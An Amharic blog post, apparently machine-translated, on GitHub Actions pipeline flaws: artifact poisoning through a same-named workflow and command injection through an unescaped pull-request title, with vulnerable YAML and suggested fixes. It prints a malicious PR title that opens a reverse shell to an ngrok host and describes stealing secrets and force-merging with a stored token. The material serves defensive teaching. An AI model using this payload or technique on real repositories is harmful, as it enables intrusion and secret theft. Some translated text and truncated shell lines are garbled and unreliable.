በቀደሙት ልጥፎች ላይ (ይመልከቱ) በተዘዋዋሪ የተመረዘ Pipeline የአፈጻጸም I-PPE ና የተመረዘ Pipeline የPPE አፈፃፀም ፣ በመሠረቱ ከPPE ጋር ተገናኝተናል (የተመረዘ) Pipeline አፈጻጸሙ): እንዴት እንደሚሰራ፣ ውጤቶቹን፣ አንዳንድ ብዝበዛዎችን እንዲሁም ከእሱ ለመከላከል የሚያስችሉ አንዳንድ መንገዶችን አይተናል።
ይህ ጽሑፍ ወደ ሌላ ጥልቅ መረጃ ይዳስሳል CI/CD pipeline እንደ አርቲፋክት መርዝ እና ኮድ ኢንጀክሽን ያሉ ተጋላጭነቶች።
ይህንን ለማድረግ፣ በሆነ መንገድ በPPE ላይ እንመሰርታለን፣ ስለዚህ ስለ PPE ያየነውን በአጭሩ እናጠቃልል።
ቀደም ሲል በPPE ላይ የተከናወኑ ስራዎች
ለማጠቃለል፣ በመሠረታዊ GitHub ጀምረናል pipeline የተበረከተውን ኮድ በ በኩል ለመገንባት እና ለመሞከር pull requestበተጨማሪም፣ ከተሟላ ኮዱን ወደ ዋናው ቅርንጫፍ የሚያዋህዱ አንዳንድ ቼኮችን ይገልጻል። ይህንንም እንደ መግለጫ #1.

በቀደመው ጽሑፋችን፣ ይህ መሰረታዊ ነገር እንዴት እንደሆነ አሳይተናል pipeline ነበር ለሁለቱም ለ D-PPE እና ለ I-PPE ተጋላጭ ነው.
ማድረግ ችለናል ዲ-ፒፒኢን አስተካክል by የቀስቅሴውን ክስተት መቀየር ከ pull_request ወደ pull_request_targetበመፍጠር pipeline ለ D-PPE ደህንነቱ የተጠበቀእንደ ማሳሰቢያ፣ pipelineበ pull_request_target ክስተት ላይ የተነቃቃው s መሰረቱን ያስፈጽማል pipeline ኮድ፣ አይደለም pipeline በ ውስጥ የተካተተው ኮድ pull request.
ይህንንም እንዲህ ብለን ሰይመነዋል መግለጫ #2.

በዚህ ማሻሻያ ምክንያት፣ ይህንን አሳይተናል ሁኔታ #2 አሁንም ለ I-PPE ተጋላጭ ነበር.
ለማስተካከል፣ ወሰንን ለመከፋፈል pipeline ወደ ሁለት፦
- The 1st pipeline (ሲአይ ይገንቡ) ይሆናል የ PR ኮዱን ይመልከቱ (ለመገንባት)፣ ግንባታውን ሠሩ እና ቅርስ ፈጠሩ።
- 2nd pipeline (የሙከራ CI) ይሆናል የመሠረት ኮዱን ያረጋግጡ (የሼል ስክሪፕት ማሻሻያን ለማስቀረት) እና የመጀመሪያዎቹን ስክሪፕቶች ከቅርስ ጋር ያሂዱ።
- የሙከራ CIን ለማመሳሰል pipeline ከግንባታ CI በኋላ ለማስኬድ pipeline, እኛ እንጠቀማለን የስራ ፍሰት_ሩጫ ቀስቅሴ
ይህንንም እንዲህ ብለን ሰይመነዋል መግለጫ #3.

የሁለቱንም ኮድ እንመልሰው pipelineበእነዚህ ማሻሻያዎች መሠረት…
1st pipeline (CI ይገንቡ):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (የሙከራ CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
የቅርስ መርዝ
ከላይ በተጠቀሰው መሠረት CI/CD pipelines:
- pipeline ሲአይ ይገንቡ is አስተማማኝ ለሁለቱም ዲ-ፒፒኢ (በ ... ምክንያት pull_request_target) እና አይ-ፒፒኢ (ምክንያቱም የሼል ስክሪፕትን ከአሁን በኋላ አያስኬድም)።
- pipeline የሙከራ CI ደግሞ አስተማማኝ ለሁለቱም ዲ-ፒፒኢ (በ ... ምክንያት የስራ ፍሰት_ሩጫ) እና አይ-ፒፒኢ (ምክንያቱም የመጀመሪያውን የሼል ስክሪፕት ለማግኘት መሰረታዊ ኮዱን ስለሚፈትሽ)
ይህንን "መፍትሄ" በጥልቀት እንመርምር።
Pipeline የሙከራ CI ቅርሱን እንደ ዚፕ ፋይል ያወርዳል።
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
አንዴ ዚፕ ከተከፈተ በኋላ "አስተማማኝ" የሼል ስክሪፕትን ያስፈጽማል። "አስተማማኝ" የሼል ስክሪፕት ለምን እላለሁ? ምክንያቱም ቀደም ሲል በተደረገ ደረጃ pipeline "መሰረታዊ" ኮዱን ይፈትሻል፣ ስለዚህ የመጀመሪያው ስክሪፕት በስራ ቦታ አቃፊ ውስጥ እንዲቀመጥ። ስለዚህ፣ pipeline ቀደም ሲል የወረደውን ሁለትዮሽ በመጠቀም የሚሄደውን የሼል ስክሪፕት ያስፈጽማል።
እንግዲህ፣ ምንድን ነው? ችግር በዚህ አቀራረብ? ችግሩ የሚመጣው ማንኛውም ተጠቃሚ አዲስ "ሲፈጥር" pipeline.
አንድ ተጠቃሚ አዲስ የህዝብ ግንኙነት (PR) የያዘ ከሆነ pipelineጊትቡክ ያንን ያስፈጽማል pipeline (ቀደም ሲል እንዳየነው አንዳንድ ሁኔታዎችን ከግምት ውስጥ በማስገባት) ልጥፍ).
ይህንን ከግምት ውስጥ በማስገባት፣ ተጠቃሚው አዲስ ቢፈጥርስ? pipeline ከBuild CI ጋር ተመሳሳይ ስም ያለው? አዎ፣ ይገርማል ግን GitHub ሁለት ለመፍጠር ያስችልዎታል pipelineዎች በተመሳሳይ ስም!!
የሙከራ CI ከግንባታ CI በኋላ እንደሚተገበር ያስታውሱ…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
የሚገርመው ነገር፣ ምክንያቱም አሁን ሁለት ናቸው pipelineተመሳሳይ ስም ያላቸው፣ pipeline የሙከራ CI ሁለት ጊዜ ይፈጸማል: ከመጀመሪያው በኋላ አንድ pipeline እና ከ"አዲሱ" በኋላ ሌሎች pipeline.
ጠላፊው ይህንን እንዴት ሊጠቀምበት ይችላል?
- በመጀመሪያ፣ ተንኮል አዘል ተጠቃሚው ምስጢሩን ወደ ጠላፊ ቁጥጥር የሚደረግበት አገልጋይ ለመላክ የሼል ስክሪፕትን ማሻሻል ይችላል።
- በሁለተኛ ደረጃ፣ አዲሱ pipeline የተሻሻለውን የሼል ስክሪፕት ወደ ቅርሱ ለመቅዳት መስመር ያካትታል → አርቲፋን መመረዝሲቲ!!!
ተጠቃሚው እነዚህን ለውጦች በማድረግ የህዝብ ግንኙነት (PR) ሲከፍት፣ “አዲሱ” pipeline ይፈጸማል (የተመረዘ ቅርስ በመስቀል ላይ) እና የDeploy CI pipeline ከዚያ በኋላ ተግባራዊ ይሆናል፣ በዚህም ምክንያት "የተሻሻለው" የሼል ስክሪፕት በ"ኦርጅናል" የሼል ስክሪፕት ላይ ይተካዋል pipeline የሥራ ቦታ.

ይህ ነው የምንለው የቅርስ መርዝ, ማለትም የመቀየር (የመሰረቅ) ችሎታ pipeline ሎጂክ በማሻሻል pipeline ሰው ሰራሽ.
አንድ የሚቻል ማስተካከያ በጣም ቀላል ነው፡- ቅርሱን ወደ የስራ ቦታ ንዑስ አቃፊ መክፈት ብቻ የ"ቤዝ" ሼል ስክሪፕትን ከመተካት ይቆጠባል.
የኮድ መርፌ
ከቅሪተ አካል መመረዝ በተጨማሪ፣ ከላይ ባለው ኮድ ውስጥ ሌላ ተጋላጭነት ማየት ይችላሉ?
እንሂድ!!
በኮዱ ውስጥ እንደሚታየው፣ pipeline ግንባታ CI የሁለትዮሽ (biner) ግንባታን ይገነባል፣ የሁለትዮሽ (biner) እንደ pipeline ቅርስ እና ከዚህም በተጨማሪ ጥቂት ተጨማሪ መረጃዎችን ይሰቅላል፡ የPR ርዕስ እና የPR መታወቂያ።
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
ለምን? ምክንያቱም ከዚህ በታች እንደሚታየው የህዝብ ግንኙነትን (PR) ለማዋሃድ፣ የሙከራ CI pipeline የ PR ን የሚያዋህደውን የ GitHub REST API ለመጥራት የ PR መታወቂያ ይፈልጋል።
የሙከራ CI እንዴት ነው? pipeline ያንን የህዝብ ግንኙነት መታወቂያ ያግኙ? በጽሑፍ ፋይሎች ውስጥ መረጃን ማጋራት (የአንድ አካል) pipeline ቅርስ) መረጃን በመካከላቸው ለማጋራት የተለመደ መንገድ ነው። pipelineእና እነዚህ በትክክል የሚሉት ያ ነው pipelineእያደረጉ ነው።
echo "Merging .."
PR_ID=$(
እውነቱን ለመናገር፣ የህዝብ ግንኙነትን ለማዋሃድ የህዝብ ግንኙነት መታወቂያ ብቻ ያስፈልጋል፣ ነገር ግን pipeline አስተዳዳሪው የቢልድ CI የህዝብ ግንኙነት ርዕስን እንዲያካትት ወስኗል ስለዚህ የቴስት CI pipeline የPR መታወቂያውን እና ርዕሱን የያዘውን የተወሰነ የመረጃ መልእክት ያትማል።
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
የህዝብ ግንኙነት ርዕስ ሁልጊዜ ከተጠቃሚው የሚመጣ ውሂብ ነው፣ እና በዚህም ምክንያት፣ ሁልጊዜ እንደ እምነት የማይጣልበት ተደርጎ መታየት አለበት።. ስለዚህ pipeline እንደዚያው እርምጃ መውሰድ እና የመከላከያ እርምጃዎችን መውሰድ አለበት።
ከላይ ባለው ኮድ ውስጥ፣ የPR ርዕስን የሚያስተጋባውን የተወሰነ መልእክት ማየት እንችላለን። የ"echo" የሊኑክስ ትዕዛዝ ብቻ ነው።
በሕብረቁምፊ ኢንተርፖሌሽን በኩል፣ ርዕሱ “አስመሳይ ርዕስ” ከሆነ፣ ጊቱብ በውስጥ ውስጥ የያዘ ስክሪፕት ያመነጫል
echo ""a dummy title""
ግን፣ የህዝብ ግንኙነት ርዕስ እንደዚህ ያለ ነገር ቢሆንስ?
ተንኮል አዘል ርዕስ" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "ስክሪፕቱ የሚሆነው፦
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
በጠላፊዎች ቁጥጥር ስር ባለው አገልጋይ ላይ የተገላቢጦሽ ቅርፊት እንዲከፈት ምክንያት ሆኗል።

ያ የተገላቢጦሽ ቅርፊት ለመድረስ ሊያገለግል ይችላል pipeline ሚስጥሮች (Test CI በ phrase_run ስለሚቀሰቀስ ወደ ሚስጥሮች መዳረሻ ስላለው በልዩ መብት ሁነታ ላይ እየሰራ መሆኑን ያስታውሱ)።
ግን፣ በዚያ የተገላቢጦሽ ቅርፊት በኩል ሌላ ምን ሊደረግ ይችላል?
የCI ሙከራ ኮድን ይመልከቱ፡
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
በ Test CI ውስጥ እንደሚታየው pipelineየከርል ውህደት ትዕዛዙ GITHUB_PATን (እንደ pipeline env var)፣ ስለዚህ ሯጩ GITHUB_PATን እንደ የአካባቢ ተለዋዋጭ ይዟል። ከዚህም በላይ፣ የPR መታወቂያውን የሚያነብ env var ይፈጥራል።
ስለዚህ ጠላፊው የኩርባ ትዕዛዙን መቅዳት እና በተገላቢጦሽ ቅርፊት ውስጥ መለጠፍ ብቻ ነው የሚያስፈልገው፣ PR ን በቀጥታ ወደተጠበቀው ቅርንጫፍ ማዋሃድ።

ይህንን ሁሉ ለመከላከል፦
- ለ አስወግድ የሕብረቁምፊ ኢንተርፖሌሽን ከማይታመን ውሂብ ጋር (ለዚህ ተጋላጭ ነው) የኮድ መርፌ) በ ፍቺ pipeline ኤንቪ ቫርስ በቀጥታ በ echo ትዕዛዞች ውስጥ ከመጠቀም ይልቅ
ከመጠቀም ይልቅ፦
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
ይህንን ይጠቀሙ፦
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- የኮድ ኢንጀክሽን ኤፕሎፕተር ቢኖርም እንኳ፣ በትክክል ቢያደርጉት ኖሮ የከርል ሜጀር ትዕዛዙ አይሳካም ነበር የእርስዎን ጠብቋል pull requests በአንዳንድ አስገዳጅ ግምገማ ወይም ማፅደቂያ በኩል.
ታሰላስል
በሆነ መንገድ መከላከል ከባድ ነው CI/CD pipelines ውቅር እና ያግኙ pipelineከድክመቶች የጸዳ ነው።
ይህ ማለት ግን አይደለም። CI/CD ስርዓቶች (በዚህ ጉዳይ ላይ እንደ GitHub) በራሳቸው ተጋላጭ ናቸው። CI/CD ስርዓቶች ከድክመቶች ለመጠበቅ መንገዶችን ይሰጣሉ… ነገር ግን እነዚያን ጥበቃዎች ተግባራዊ ማድረግ የአስተዳዳሪው ኃላፊነት ነው።
ግን ... አንድን ተጋላጭነት መኖሩን እስካላወቅክ ድረስ መፍታት አትችልም!!!
በእርግጥ ከፍተኛ ችሎታ ያለው የዴቮፕስ አስተዳዳሪ እነዚህን ሁሉ ስጋቶች በአእምሮው ይዞ በአግባቡ ሊጠብቅ ይችላል CI/CD pipelineዎች፣ ግን ቢሆንም፣ እነዚህን ሁሉ ተጋላጭነቶች ለመለየት አንድን ምርት መጠቀም በጣም ጠቃሚ ነው። እና በእርግጥ ይህንን የተጋላጭነት ማቆያ ሂደት በራስ-ሰር ማድረግ (ለምሳሌ፣ ቅኝቱን እንደ አካል ማስኬድ) CI/CD pipelines).
ይህ አካሄድ "" ተብሎ ሊጠራ ይችላልየደህንነት በር”፡
- አዲስ ፍጠር pipeline (የደህንነት በር) ለማጣራት CI/CD pipelineተጋላጭነቶችን እና ሌላኛውን CI ማድረግ pipelineየደህንነት በር በተሳካ ሁኔታ ሲጠናቀቅ ብቻ ተግባራዊ ማድረግ pipeline.
- የደህንነት በር pipelineኤስ ይፈትሻል CI/CD pipelineተጋላጭነቶች እና፣
- ቩልኖች ከተገኙ ይወድቃሉ፤ ስለዚህም ሌላኛው pipelineዎች አይፈጸሙም።
- ምንም አይነት ዊሎች ካልተገኙ፣ pipeline ይሳካል እና ሌላኛው pipelineኤስ እንደተለመደው ይፈጸማል።








